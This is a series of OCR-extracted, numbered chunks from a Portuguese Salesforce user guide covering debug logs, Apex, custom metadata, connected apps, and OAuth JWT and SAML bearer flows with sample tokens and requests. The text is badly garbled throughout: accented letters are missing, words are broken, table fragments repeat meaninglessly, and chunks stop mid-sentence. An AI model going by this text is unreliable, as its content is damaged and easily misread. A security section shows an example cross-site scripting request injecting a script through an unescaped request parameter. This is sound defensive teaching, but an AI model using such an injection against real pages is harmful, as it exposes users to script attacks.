164. Hoovers Inclui um registro de conta no Connect Offline Plota um endere o no Google Maps Visualforce 44 e Grupo de an ncios e Patrim nio e Campanha e Membro de campanha e Caso e Contato e Contrato e Compromisso e Campanha do Google e Palavra chave e Lead e Oportunidade e Produto da oportunidade e Produto e Frase de pesquisa e Vers o SFGA e Solu o e Tarefa e Anuncio de texto e Objetos personalizados OpportunityLineltem Conta Contato Contato Lead Compromisso Compromisso e Conta e Lead Conta e Conta Aprimorar o Salesforce com c digo GoogleNews GoogleSearch List LogCall MailMerge ManageMembers MassClose Merge Novo Exibe www google com news Exibe www google com Lista os registros de um objeto Faz o log de uma chamada Gera uma mala direta Inicie a pagina Gerenciar membros Fechar varios casos Mescla contatos Crie um novo registro Guia do usu rio Componentes do Lightning Apex Visualforce 45 Contato Lead Conta Contato Lead Conta Contato Lead Grupo de anuncios Campanha Caso Contato Contrato Campanha do Google Palavra chave Lead Oportunidade Produto Frase de pesquisa Versdo SFGA Solu o An ncio de texto Objetos personalizados Atividade Atividade Campanha Caso Contato Atividade Grupo de an ncios Patrim nio Campanha Caso Contato Contrato Aprimorar o Salesfor
165. L BEGIN WE RULE EVAL END WF_RULE_EVAL VALUE WF RULE FILTER WE RULE INVOCATION WEF RULE NOT EVALUATED WE SOFT REJECT WE SPOOL ACTION BEGIN Guia do usu rio Registros de depura o 287 Campos ou informa es registradas com o evento EntityName Id de NameField enome do objeto ou campo Origem da f rmula e valores enhum Propriet rio pr ximo tipo de propriet rio e campo enhum EntityName Id de NameField IDdea o e regra ome do processo EntityName Id de NameFielde propriet rio ome do notificador email do notificador e ID de modelo do notificador nteiro e ordem de indica o Tipo de regra Nenhum Valor Crit rios de filtro EntityName Id de NameField enhum ome do processo Tipo de n Categoria N vel registrada registrado rabalh rabalh rabalh rabalh rabalh rabalh rabalh rabalh rabalh rabalh rabalh rabalh rabalh rabalh rabalh rabalh rabalh Fluxo de luxo de Fluxo de Fluxo de uxo de Fluxo de Fluxo de Fluxo de Fluxo de luxo de luxo de Fluxo de luxo de Fluxo de Fluxo de luxo de luxo de uxo de 0 O 0 0 0 o 0 O O o o 0 0 0 o 0 0 rabalh 0 eaci eaci eaci eaci eaci INFO e aci INFO e ac
166. L do OAuth 2 0 examina todas as aprova es anteriores do usu rio que incluemo refresh token Se forem encontradas aprova es correspondentes os valores dos escopos aprovados ser o combinados e um access token emitido com um valor de token type Portador Se nenhuma aprova o anterior incluiu um refresh token nenhum escopo aprovado est dispon vel e a solicita o falha como n o autorizada Erros Se houver um erro no processamento da declara o portadora SAML o servidor responder com uma resposta de erro padr o do OAuth incluindo um erro e uma descri o contendo informa es adicionais sobre os motivos pelos quais o token foi considerado inv lido Veja aqui um exemplo de resposta de erro HTTP 1 1 400 Bad Request Content Type application json Cache Control no store error invalid grant error description Audience validation failed CONSULTE TAMB M Autenticando aplicativos com o OAuth Fluxo de token portador JWT de OAuth 2 0 O token portador JSON JWT uma codifica o de token de seguran a baseado em JSON que EDI ES permite que as informa es de identidade e seguran a sejam compartilhadas em todos os dom nios de seguran a Dispon vel em Salesforce O fluxo de token portador JWT de OAuth 2 0 define como um JWT pode ser usado para solicitar Classic um token de acesso OAuth do Salesforce quando um cliente deseja usar uma autoriza o anterior o oon f ne Dispon vel em todas
167. Log Settings Database FINEST Off Database NONE iters Apex Code FINEST Apex Code NONE Apex Profiling FINEST Apex Profiling NONE Apex Code FINEST Trigger1 Apex Profiling FINEST Database INFO Apex Code DEBUG Apex Profiling INFO Trigger2 Inherited Loggi l 0999 Database NONE Log Settings Database NONE Apex Code ERROR Apex Code ERROR Apex Profiling NONE Apex Profiling NONE A seguir h um exemplo de pseudo c digo em que o diagrama est baseado 1 Trigger chama um m todo de Class1 e outro m todo de Class2 Por exemplo trigger Triggerl on Account before insert Classl someMethod Class2 anotherMethod 2 Class1 chama um m todo de Class3 que por sua vez chamada um m todo de uma classe de utilit rio Por exemplo public class Classl public static void someMethod Aprimorar o Salesforce com c digo Class3 thirdMethod public class Class3 public static void thirdMethod UtilityClass doSomething 3 Class2 causa a execu o de um acionador Trigger2 Por exemplo public class Class2 public static void anotherMethod Some code that causes Trigger2 to be fired CONSULTE TAMBEM N veis de registro de depura o Testar Testando suas altera es Esta se o cont m informa es sobre testes de altera es Sobre testes de unidade do Apex Trabalhar com Execu o de teste do Apex Executar testes no Console do desenvolved
168. Log de Depura o Os limites para os logs de depura o est o relacionados a seguir e Cada log de depura o deve ter 2 MB ou menos Os registros de depura o maiores que 2 MB s o reduzidos removendo linhas de registro antigas como as linhas de registro de declara es anteriores do System debug As linhas de registro podem ser removidas de qualquer lugar e n o apenas do in cio do registro de depura o e Cada organiza o pode conter at 50 MB de logs de depura o Quando a sua organiza o tiver atingido 50 MB de logs de depura o os logs mais antigos come am a ser substitu dos Truncamento do Log de Depura o Para fornecer as informa es mais pertinentes os registros de depura o s o truncados come ando com as entradas de registro mais antigas As entradas de registro mais recentes sempre s o preservadas O registro de depura o truncado em 200 KBytes quando atinge seu tamanho m ximo de 2 MB Os seguintes eventos s o necess rios para processar o registro de depura o e est o associados a entradas de registro que n o podem ser exclu das EXECUTION STARTED Aprimorar o Salesforce com c digo Guia do usu rio Registros de depura o 273 e EXECUTION FINISHED e CODE UNIT STARTED e CODE UNIT FINISHED e METHOD ENTRY e METHOD EXIT e CONSTRUCTOR ENTRY e CONSTRUCTOR EXIT e SOQL EXECUTE BEGIN e SO
169. ML Dispon vel em todas as edi es Uma explica o mais detalhada pode ser encontrada aqui PERMISS ES DO http tools ietf org html draft ietf oauth saml2 bearer USU RIO Vis o geral de fluxo de asser es portadoras SAML de OAuth 2 0 Para gerenciar criar editar p so e excluir aplicativos OAuth O fluxo de declara o portadora SAML de OAuth 2 0 semelhante a um fluxo de token de atualiza o Gerenciar aplicativos no OAuth A declara o SAML enviada por POST para o ponto final da chave do OAuth que por conectados sua vez processa a declara o e emite um access token com base na aprova o anterior do aplicativo No entanto o cliente n o precisa ter ou armazenarum refresh token nem necess rio que um client secret seja passado para o ponto final do token A seguir est o as etapas gerais do uso do fluxo de declara o portadora SAML do OAuth 2 0 1 O desenvolvedor cria um aplicativo conectado e registra um Certificado X509 Esse certificado corresponde chave privada do aplicativo Quando o aplicativo conectado salvo a Chave do consumidor client id do OAuth gerada e atribu da ao aplicativo 2 O desenvolvedor cria um aplicativo que gera uma declara o SAML e o assina com sua chave privada 3 A declara o enviada por POST ao ponto final da chave https login salesforce com services oauth2 token 4 O ponto final do token valida a assinatura usando o certificado reg
170. Mdt mdt allEntityNames select QualifiedApiName from MyMdt mdt N o poss vel usar quer yMore com metadados personalizados mas poss vel usar as palavras chave SOOL LIMIT e OFFSET para paginar por um grande n mero de registros Para obter mais informa es consulte Paginando dados de aplicativos Force com Alternativamente para fornecer uma entidade mais semelhante a Schema SObjectDescribeResult do que SOQL fa a a classe do Apex Acme MyMdtDescribeResult encapsular as informa es consultadas de Acme MyMdt Em seguida crie a classe Acme Acme com m todos como Acme MyMdtDescribeResult describeMyMdt String qualifiedApiName perform queries and create object Aprimorar o Salesforce com c digo Acessar campos de metadados personalizados O acesso somente leitura aos campos nos seus tipos e registros de metadados personalizados est dispon vel por meio de SOQL Os campos personalizados em tipos de metadados personalizados em SOQL s o referenciados da mesma maneira que na API de metadados Por exemplo o demonstrativo SOQL a seguir recupera todos os valores Field cePicklist cdequalquer PicklistUsage mdt relacionado a qualquer objeto personalizado chamado InterplanetaryGreeting c SELECT Field c Picklist c FROM PicklistUsage mdt WHERE SObjectType c InterplanetaryGr ting c Guia do usu rio Integra o de aplicativos com o Salesforce 248 EDI ES Dis
171. NVX2hKGpwO Wq F8EKrqV403 04Kglrx1 6s xJr6WOmxWt LOC4oWhSvVyfag34zQoecZeunEdFSMInvPtqBVzJu9hJj y QDqDWfMeWvF9IS50Azd0 EhJxz Ly1i2804aCxQQ lt ds SignatureValue gt lt ds KeyInfo gt lt ds X509Data gt lt ds X509Certificate gt MIICOzCCAaSgAwIBAgIGAR7RRteKMAOGCSg6GS Ib3DQEBBQUAMGExCzAJB9NVBAYTAILVTMOswCOYD VOOTEWJDOTEWMBOGA1 UEBxXMNU2 FUIEZYyYW5j aXNj bzENMASGA1 UEChMEUEFDUZENMASGA1UECxXME U0 ZEQZEPMAOGA1UEAxMGUOFNTDIwMB4XDTASMDExMzE4MzUyN1oXDTEOMDEXMTE4MzUyNlowYTEL MAkGA1UEBhMCVVMxC zAJBgNVBAgTAkKNBMRYwFAYDVOQQHEW1TYW4gRnJhbmNpc2NvMQ0wCwYDVOQQK EwRQOQUNTMQOwCwY DVQQLEWRTRKRDMO 8wDOY DVOQQDEWZTQU 11MM AwgZ 8wDOYJKoZIhvcNAQEBBOAD gY OAMIGJAOGBAJNGcu8nW6xq21 dAgbJmS fHLGRn vCuKWY LAELwtKerj aj 5Dq3ZGW3 8HR4BmZk sG394eA1RXnlhiZGIlQ6Ei5S9QE 020x22VSTb7 oIwRCDHEBI RraYT3LJuh4JwUDV EJ3WgDnT5 E5vD461 CRSEX 4VL8u08T40FkA5 L AhTAgMBAAEwDOYJKoZIhvcNAQEFBOADgYEAehxggY6tB1l8x LSSvCUyUIHvxssAnlAutgZLKWuR1 FX IzdVdE2F7 7nrV9YifIERUWhONiS82mBOkKqZZPLihcKh KSnFZN2iWmm1sspL731 eAwVsOUj bS3v9P004ceAD OCCY8gUAInTHOMqleOdJMhYKnw blUyqj Zn9rajY lt ds X509Certificate gt lt ds X509Data gt lt ds KeyInfo gt lt ds Signature gt lt saml Subject xmlns saml urn oasis names tc SAML 2 0 assertion gt lt saml NameID Format urn oasis names tc SAML 1 1 nameid format unspe
172. Na guia Apex Execution Results Resultados da execu o do Apex o valor 1 indica que o campo n o aplic vel CONSULTE TAMB M Configurando pontos de verifica o no c digo do Apex Guia Pontos de verifica o Inspetor de pontos de verifica o Inspetor de pontos de verifica o Use os pontos de verifica o para investigar os objetos na mem ria em um ponto de execu o espec fico e ver os outros objetos com refer ncias a eles Acesse a guia Pontos de verifica o e clique duas vezes no ponto de verifica o para visualizar os resultados no Inspetor do ponto de verifica o O Inspetor do ponto de verifica o fornece mais detalhes sobre as vari veis que o Inspetor de registro incluindo os itens individuais em cole es O Inspetor do ponto de verifica o tem duas guias e Aguia Heap exibe todos os objetos em mem ria no momento em que a linha de c digo no ponto de verifica o foi executada Os itens s o listados e agrupados por tipo de dados Aprimorar o Salesforce com c digo Guia do usu rio Depura o com o uso do console do desenvolvedor 257 FilterOptions PermsetAssignmentController PermissionAssignmentControllerTest PermsetAssignmentController 8 04 10 08 06 19 Heap Symbols CE a Type Count Total Size Address Size Field Value FilterOptions 1 20 Ox44a17a41 20 filterOn_Email true PermsetAssignmentC 1 12 filterOn_FirstName Es String 1 0 filterOn_LastName true searchFilter 0x 1d60443d
173. Novo para criar um modelo de link de a o O modelo de link de a o associado automaticamente a um modelo de grupo de links de a o em um relacionamento de mestre e detalhes 10 Selecioneo Tipo de a o Os valores s o e Api 0 link de a o chama uma API s ncrona no URL da a o O Salesforce define o status como Success fulStatus ou FailedStatus com base no c digo de status HTTP que o servidor retorna Aprimorar o Salesforce com c digo 11 12 13 14 15 16 17 e ApiAsync 0O link de a o chama uma API ass ncrona no URL da a o A a o continua no estado PendingStatus at que um terceiro fa a uma solicita o a connect action links actionLinkId para definir o status como SuccessfulStatus ou FailedStatus ap s a conclus o da opera o assincrona e Download 0O link de a o faz download de um arquivo do URL da a o e Ui Olink de a o leva o usu rio a uma p gina da web no URL da a o Insira um URL da a o que o URL do link de a o No caso de um link de a o UT o URL uma p gina da web No caso de um link de a o Download o URL um link para um arquivo dispon vel para download No caso de links de a o Api ou ApiAsync o URL um recurso REST Os links para recursos hospedados em servidores da Salesforce podem ser relativos come ando com Todos os demais links devem ser absolutos e come ar com https Esse campo pode conter vari veis vinculant
174. O1 FI kbuQRwPc 90QJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA amp server https nal salesforce com services Soap u 13 0 4 0900D30000000Jsbi gt Go to portal lt a gt As express es de f rmula podem ser chamadas de fun o ou incluir informa es sobre objetos da plataforma um ambiente do usu rio um ambiente do sistema e o ambiente da solicita o Um importante recurso dessas express es que os dados n o t m escape durante a renderiza o Como as express es s o apresentadas no servidor n o poss vel escapar os dados apresentados no cliente usando JavaScript ou outra tecnologia do cliente Isso pode levar a situa es potencialmente perigosas caso a express o da f rmula fa a refer ncia a dados que n o forem do sistema ou seja dados potencialmente hostis ou edit veis e a express o n o estiver dentro de uma fun o para fazer o escape no resultado durante a renderiza o Uma vulnerabilidade em comum criada com o uso da express o SRequest para acessar os par metros da solicita o lt html gt lt head gt lt title gt S Request title lt title gt lt head gt lt body gt Hello world lt body gt lt html gt O Infelizmente amarca SRequest tit le sem escape tamb m ocasiona uma vulnerabilidade de cross site scripting Por exemp a solicita o http example com demo hello html title Adios 3C 2FtitleS3E 3Cscript 3Halert xss 3C 2Fscript 3E apresenta o resultado lt html gt
175. OCATE 1 Bytes 9 13 13 39 142 SYSTEM METHO 1 LIST lt String gt add Object 2 o 8 String spacing integer num 8 String spacing for integer i 0 i lt num 5 i 65 spacing _ return spacing oN DoH bw ne x a a T This Frame 7 Executable 7 Debug Only C Filter Cc 4 im Mm e Log Only Apenas registro Uma perspectiva multiuso para visualizar a execu o do registro que inclui apenas o painel Registro de execu o Log _ui common apex debug ApexCSIAPI 004 24 13 13 39 Timestamp Event Details 13 13 39 084 EXECUTION ST 13 13 39 084 CODE UNIT ST EXTERNAL execute anonymous apex 13 13 39 084 VARIABLE SCO 1 characters LIST lt String gt true false 13 13 39 140 HEAP ALLOCATE EXTERNAL Bytes 7 13 13 39 140 HEAP ALLOCATE EXTERNAL Bytes 13 13 13 39 140 STATEMENT EX 1 13 13 39 140 STATEMENT EX 1 13 13 39 140 HEAP_ALLOCATE 11 Bytes 4 13 13 39 140 SYSTEM CONST 1 lt init gt Q 13 13 39 140 SYSTEM CONST 1 lt init gt 0 13 13 39 140 HEAP ALLOCATE 1 Bytes 5 13 13 39 141 SYSTEM METHO 1 LIST lt String gt add Object 13 13 39 141 SYSTEM METHO 1 LIST lt String gt add Object 13 13 39 141 HEAP ALLOCATE 1 Bytes 16 13 13 39 141 SYSTEM METHO 1 LIST lt String gt add Object 13 13 39 141 SYSTEM METHO 1 LIST lt String gt add Object 13 13 39 141 HEAP ALLOCATE 1
176. ON para trocar dados entre o servidor e o cliente Usa de forma inteligente o servidor o navegador os dispositivos e a rede para que voc possa se concentrar na l gica e nas intera es dos aplicativos Arquitetura conduzida por eventos Usa uma arquitetura conduzida por eventos para melhor desacoplamento entre componentes Qualquer componente pode se inscrever em um evento de aplicativo ou um evento de componente que possa ver Desenvolvimento mais r pido Permite que equipes trabalhem mais r pido com componentes prontos para usar que funcionam com desktops e dispositivos m veis Criar um aplicativo com componentes facilita o design paralelo melhorando a efici ncia geral de desenvolvimento Os componentes s o encapsulados e sua parte interna continua privada enquanto sua forma p blica pode ser vista por seus consumidores Essa forte separa o d aos criadores de componentes a liberdade de alterar os detalhes da implementa o interna e isola os consumidores do componente das mudan as Adapta o a dispositivos e compatibilidade entre navegadores Os aplicativos usam design responsivo e oferecem uma experi ncia agrad vel ao usu rio A estrutura de Componente do Lightning oferece suporte para as tecnologias mais recentes de navegadores como HTML5 CSS3 e eventos de toque Use o Console do desenvolvedor para criar componentes do Lightning CONSULTE TAMB M Usando o Console do desenvolvedor Adicionar os componentes
177. PERLINK https www myserver com mypage jsp amp 2Username amp SUser Username amp amp crmSessionId amp GETSESSIONID amp acrmServerUrl amp SApi Partner Server URL 90 amp amp crmObjectId amp Id amp amp crmFieldUpdate sicCode Update SIC Code Use a nota o de ponto para voltar a ID da sess o SApi Session ID Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 22 Dicas Esta vari vel global est dispon vel apenas para campos de f rmula s controls bot es e links personalizados p ginas do Visualforce e f rmulas de fluxo e de processo O Importante SApi Session ID retorna valores diferentes dependendo do dom nio da solicita o Isso ocorre porque o ID da sess o varia durante uma sess o sempre que voc cruza um limite de nome dehost comodo salesforce com parao visual force com Normalmente o Salesforce lida diretamente com a passagem de sess o entre dom nios por m se voc est passando o ID da sess o por conta pr pria esteja ciente de que pode ser necess rio acessar SApi Session ID novamente a partir do dom nio direita para assegurar um ID de sess o v lido Component Descri o Um tipo de campo de mesclagem global a ser usado para fazer refer ncia a um componente do Visualforce Use Cada componente em uma p gina do Visualforce possui seu pr prio atributo Id Quando a p gina r
178. QL EXECUTE END e SOSL EXECUTE BEGIN e SOSL EXECUTE END e CALLOUT REQUEST e CALLOUT RESPONSE e FATAL ERROR Nota Entradas de registro de eventos necess rios para processar o registro de depura o n o s o truncadas e sempre ser o parte do registro de depura o No entanto outras informa es de registro que aparecem entre as linhas inicial e final dessas entradas de registro s o removidas como parte do truncamento do registro CONSULTE TAMB M Pesquisando em um registro de depura o Ordem de preced ncia dos logs de depura o Os eventos que s o registrados dependem de v rios fatores Esses fatores incluem os sinalizadores EDI ES de rastreamento n veis de log padr o cabe alho da API ativa o do log do sistema baseado no usu rio e n veis de log definidos pelos pontos de entrada Dispon vel em Salesforce A ordem de preced ncia dos n veis de log de depura o Classic e Lightning e i ds Experience 1 Os sinalizadores de rastreamento substituem todas as outras l gicas de registro O Console do desenvolvedor define um sinalizador de rastreamento ao ser carregado e esse sinalizador Dispon vel em Enterprise permanece em vigor at expirar poss vel definir os sinalizadores de rastreamento no Console Performance Unlimited do desenvolvedor em Configura o ou usando os objetos TraceF lag e DebugLevel Developer e Database c
179. Quantidade m xima 100 100 Esse n mero inclui todos os tipos desenvolvidos na organiza o e instalados de pacotes gerenciados e n o gerenciados 1 000 50 000 200 O tamanho do registro se baseia no tamanho m ximo de cada tipo de campo n o no armazenamento real que usado em cada campo Ao adicionar campos a um registro de metadados personalizados use o tipo adequado e especifique um comprimento que n o ultrapasse o necess rio para os dados Essa a o ajuda a evitar que voc atinja o limite de dados em cache Por exemplo se voc criar um campo de n mero de CPF selecione o tipo de dados Texto e especifique o comprimento 9 Se em vez disso voc selecionar rea de texto o campo adicionar 255 caracteres contagem de uso para cada registro independentemente do n mero de caracteres inseridos Criar editar e excluir tipos e registros de metadados personalizados Para criar atualizar e excluir tipos e registros de metadados personalizados use a API de metadados EDICOES Para mais informa es consulte Tipos de metadados personalizados CustomObject no Guia do desenvolvedor da API de metadados Dispon vel em Salesforce Classic Dispon vel em Edi es Professional Enterprise Performance Unlimited Developer e Database com As organiza es da Professional Edition podem criar editar e excluir apenas registros de metadados personalizados de tipos em pacotes instalados Aprimorar o Salesforce
180. RL de Identidade do usu rio Os seguintes atributos personalizados est o dispon veis para aplicativos conectados do Salesforce1 Tabela 1 Atributos personalizados dos aplicativos conectados do Salesforce1 para Android Chave de atributo Valor do atributo Descri o ORDD HISTORY e DISABLED e Se for definido como DISABLED e ADMIN DEFINED remover o registro de chamadas do menu de navega o e SIMPLE e Se for definido como ADMIN DEFINED ativar o registro de chamadas nativo do Android e Sefor definido como SIMPLE ativara o registro de chamadas do Aura Tabela 2 Atributos personalizados de aplicativo conectado do Salesforce1 para iOS Chave de atributo Valor do atributo Descri o USE _ADTERNATE USER PROBILE TRUE e Sefor definido como TRUE ativar o e FALSE in cio do perfil do Aura e Sefor definido como FALSE ativar O in cio do perfil de iOS nativo SHOW OPEN IN e FALSE e Sefordefinido como FALSE impedir que os usu rios compartilhem um arquivo usando um link para o arquivo ou abrindo um arquivo em um aplicativo de terceiros Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 174 Ao definir atributos personalizados coloque os valores de atributo entre aspas O Importante Conforme voc atualiza os campos de um aplicativo conectado tenha em mente que as altera es
181. SO 3Abrowser amp assertion PD94bWwgdmVyc21vbj0iMS4wIliBlbmNvZGluZz0iVVRGLTgiPz4KPHNhbW O servidor Salesforce envia uma resposta Ap s a verifica o da resposta de SAML o Salesforce envia uma resposta para o cliente Os seguintes par metros est o no corpo da resposta e chave de acesso oO ID de sess o do Salesforce que pode ser usado com a API de servi os da Web e token type Ovalor Portador para todas as respostas que incluem um token de acesso e id URL de identidade que pode ser usado para identificar o usu rio e tamb m para consulta de mais informa es sobre o usu rio Veja os URLs de identidade na p gina 230 Segue um exemplo de resposta do Salesforce id https login salesforce com id 00Dx0000000BV7z 005x0000001209P instance url https nal salesforce com access token 00Dx0000000BV7z AR8AQNhMmOeDIKRO hZagSTaEPCkmoXeYnkaxQnqw1G6Sk9U3i3I1F4 IzDlsYdU0qoVCXNJtPOwdb7u5rkfq9NldfAKoQOjd token type Bearer ea T Se ocorrer um erro durante esta etapa a resposta conter uma mensagem de erro com estas partes e erro C digo do erro e descri o do erro Descri o do erro com informa es adicionais tipo de resposta n o suportado tipo de resposta n o suportado solicita o inv lida HTTPS necess rio solicita o inv lida deve usar HTTP POST tipo de asser o inv lido o tipo de asser o especificado n o suportado invalid grant
182. SSOES DO desafio de c digo e valores de verificador no fluxo para evitar a intercepta o do c digo de USU RIO autoriza o e Agente do usu rio OAuth 2 0 0 fluxo de autentica o de agentes do usu rio usado por Para gerenciar criar editar e excluir aplicativos OAuth e Gerenciar aplicativos conectados aplicativos de clientes consumidores que residem no dispositivo do usu rio Isso pode ser implementado em um navegador usando uma linguagem de script como JavaScript ou a partir de um dispositivo m vel ou um aplicativo de desktop Esses consumidores n o podem manter o segredo do cliente confidencial e Fluxo do token de atualiza o do OAuth 2 0 depois que o consumidor autorizado a acessar ele pode usar um token de atualiza o para obter um novo token de acesso ID de sess o Isso s feito depois que o consumidor j tiver recebido uma chave de atualiza o usando o servidor da Web ou o fluxo de agentes do usu rio e Ofluxo de token portador JWT de OAuth 2 0 O fluxo de token portador JWT de OAuth 2 0 define como um JWT pode ser usado para solicitar um token de acesso OAuth do Salesforce quando um cliente deseja usar uma autoriza o anterior A autentica o do aplicativo autorizado fornecida por uma assinatura digital aplicada ao JWT e Fluxo de declara o portadora SAML de OAuth 2 0 Um fluxo de declara o portadora SAML de OAuth 2 0 define como uma declara o SAML pode ser usada para
183. Salesforce verificar client assertion e client assertion type automaticamente Ovalorde client assertion deve ser um token portador JWT t pico assinado com a chave privada associada ao certificado carregado do OAuth do cliente No momento s h suporte para o algoritmo RS256 Para obter mais informa es sobre o uso de client assertion consulte as especifica es do OpenID Connect para o m todo de autentica o do cliente private key jwt e client_assertion_type Forne a esse valor ao usar o par metro client_assertion Ovalor de client_assertion type deve ser urn ietf params oauth client assertion type jwt bearer e formato Formato de retorno esperado Esse par metro opcional O padr o j son Os valores s o urlencoded json xml O exemplo a seguir o corpo POST fora de banda para o ponto final da chave POST services oauth2 token HTTP 1 1 Host https login salesforce com grant type refresh token amp client_id 3MVG91KcPoONINVBIPJjdw1J9LLM82HnFVVX1 9KY1uA5mu0 OqEWhqKpoW3svG3XHrxXDiCQj KlmdgAvhCscA9GE client secret 1955279925675241571 amp refresh token your token here Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 212 Em vez de usar o par metro formato o cliente tamb m pode verificar o formato retornado em um cabe alho de aceita o da solicita o usando um dos seguintes e Aceitar application json e Aceitar application xml e A
184. TRING DA EXCE O RASTREAMENTO DE PILHA Aplicativo do Apex lt info salesforce com gt Para joeuser salesforce com lt joeuser salesforce com gt Assunto Exce o de script do desenvolvedor da Gack WS Data Segunda 26 de novembro de 2007 14 42 41 0000 GMT 06 42 PST Exce o de acionador de script do Apex n o tratada pelo usu rio organiza o 010x0000000rfPg 00Fx00000009e3J5 TestException Test Exception Gack WS exception Class Gack WS gackTestException linha 4 coluna 11 O n mero de emails gerados para o mesmo erro limita se a 10 mensagens com o mesmo assunto em um per odo de 60 segundos Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Gerenciar classes do Apex Dispon vel em Edi es Performance Unlimited Developer e Enterprise Uma classe do Apex um modelo ou projeto a partir do qual objetos do Apex s o criados As classes consistem em outras classes m todos definidos pelo usu rio vari veis tipos de exce o e c digo de inicializa o est tico Depois que s o salvos corretamente m todos de classe ou vari veis podem ser chamados por outro c digo do Apex ou pela API SOAP ou Kit de ferramentas AJAX para m todos que foram designados com a palavra chave webService A p gina Classes Apex permite criar e gerenciar classes do Apex Para acessar a p gina Classes do Apex em Configura o insira Classes do Apex nacaixa Busca r pida e
185. UuY2 9tliwgImV4cCI6ICIxMzMz Njg1NjI4In0 Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 208 5 Crie uma string para o cabe alho JWT codificado e para o conjunto de afirma es JWT codificado neste formato encoded JWT Header encoded JWT Claims Set No exemplo a seguir o cabe alho JWT est destacado eyJhbGci0iJSUzZIINiJ9 eyJpc3Mi0iAiM01WRzk5ST3hUeUVNO1LEZZ05wM1Bga3F1lWkt 4mlBaUcxeFY0b0hoOUFLTF9yUOsu Qm9TVIBHWkhRdWtYb1l ZgelJnU3VRcUduNzVOTDd5ZmtRY31L5NyIsICJwem4i0iAibX1lAZWlhaWwu Y29tIliwgImF1ZC1I6ICJodHRwezovL2xvZ2luLnNhbGVzZm9yY2UuY2 9tliwgImV4cCI6ICIxMzMz N591Nj14In0 6 Assine a string resultante usando SHA256 com RSA 7 Crie uma nova string a partir da string desta etapa no seguinte formato existing string base64 encoded signature No exemplo a seguir o in cio da assinatura codificada em base64 est destacado eyJhbGciOiJSUzIINiJ9 eyJpc3MiOiAiMOIWRzZk5T3hUeUVNQIEzZ05wMlBqa3FIWkt 4omlBaUcxeFY0b0hoOUFLTF9yUOsu Qm9ITVIBHWkhRAWtYb1lZgelJnU3VRcUduNzVOTDd5SZmtRY315NyIsICJUwcem4i0iAibXIAZWlihaWwu Y29tIliwgImF1ZCI6ICJodHRwczovL2xvZ21lulnNhbGVzZm9IyY2UuY29tIiwgImV4cCI6ICIxMzMz Nj591Nj14In0 iYCthgwCQuewi35yFs nWNgpF5NA a46fXDTNIY8ACko6BaEtQ9E6h4Hn1l pcwck I_GlmfU02dJDg1A610t09TeoPagJsZDm H83bsoZUoIBLpAAls 2aj Wbysqblj4uDToz 480WtEbkwIv0O9sTeS QuWak2RXO11Krnf72mpVGS4WWSULodgNz 1KHHyj AMAHiBHIDNt 36y2L2Bh7M8TNWika BNM6s1FNKDAWHEWOrNtAeReXgRy0MZgQY2rZt
186. _permissions response types supported code token token id token subject types supported public id token signing alg values supported RS256 display values supported page popup touch token endpoint auth methods supported client secret _post private key jwt O ponto final de configura o de autentica o O ponto final de configura o de autentica o uma p gina est tica que pode ser usada para EDICOES consultar informa es sobre o SAML de uma organiza o para configura es de login nico e provedor de autentica o N o h necessidade de sess o Est dispon vel apenas para comunidades do Salesforce ou dom nios personalizados Use esse URL ao desenvolver aplicativos que precisam dessas informa es sob demanda Dispon vel em Salesforce Classic Dispon vel em todas as Em resposta a uma solicita o para o Ponto final de configura o de autentica o o Salesforce edi es retorna informa es b sicas no formato JSON Essas informa es incluem configura es de autentica o e registro elementos de identidade visual e outros valores relacionados ao suporte para login nico para usu rios de uma comunidade ou dom nio personalizado Oformato do URL https lt comunidade ou URL personalizado gt well known auth configuration Por exemplo https acme my salesforce com well known auth configuration Resposta do ponto final de configura
187. a o os desenvolvedores Unlimited Developer e devem conhecer poss veis ciladas relacionadas seguran a Database com O Visualforce n o est dispon vel em Database com A Salesforce incorporou v rias defesas de seguran a plataforma do Force com em si No entanto desenvolvedores descuidados ainda conseguem contornar as defesas incorporadas em muitos casos e expor aplicativos e clientes aos riscos de seguran a Muitos dos erros de codifica o que o desenvolvedor pode fazer na plataforma Force com s o semelhantes s vulnerabilidades de seguran a de aplicativos da web em geral enquanto outras s o exclusivas do Apex Para certificar um aplicativo para o AppExchange importante que os desenvolvedores aprendam e entendam as falhas de seguran a descritas aqui Para obter informa es adicionais consulte a p gina Recursos de seguran a do Force com no Salesforce Developers em https developer salesforce com page Security Cross Site Scripting XSS Os ataques de cross site scripting XSS abrangem uma ampla s rie de ataques nos quais scripts HTML ou do cliente mal intencionados s o fornecidos a um aplicativo da web O aplicativo da web inclui scripts mal intencionados em uma resposta a seu usu rio Ent o este sem saber torna se v tima do ataque O atacante usou o aplicativo da web como intermedi rio no ataque tirando vantagem da confian a da v tima no pr prio aplicativo da web A maioria dos aplicativos que exib
188. a nova chave de acesso As solicita es de tokens de atualiza o aumentam a Contagem de uso exibida para o aplicativo Voc deve conceder acesso a seus dados do Salesforce de cada dispositivo que utiliza como um laptop e um desktop O limite padr o de cinco chaves de acesso por aplicativo Aplicativos mais recentes usando o protocolo OAuth 2 0 s o aprovados automaticamente para dispositivos adicionais depois que concedido acesso a voc Os aplicativos OAuth 2 0 podem estar listados mais de uma vez Cada linha na tabela representa uma concess o exclusiva ent o se um aplicativo solicitar diversas chaves com escopos diferentes voc ver o mesmo aplicativo diversas vezes Mesmo se o aplicativo conectado tiver tentado acessar suas informa es e falhar porque n o conseguiu fazer login os campos Contagem de uso e ltima utiliza o ainda ser o atualizados e Clique em Revogar para revogar o acesso ao aplicativo Ap s a revoga o do aplicativo ele n o poder mais usar esse token espec fico de autoriza o de acesso para acessar seus dados do Salesforce O Importante Voc dever revogar todas as chaves de acesso de um determinado aplicativo para impedi lo de acessar seus dados do Salesforce Se voc estiver usando o Salesforce Classic Mobile e quiser usar um novo dispositivo m vel fa a download do aplicativo no novo dispositivo e conecte se N o necess rio revogar a chave no dispositivo antigo o Salesforce
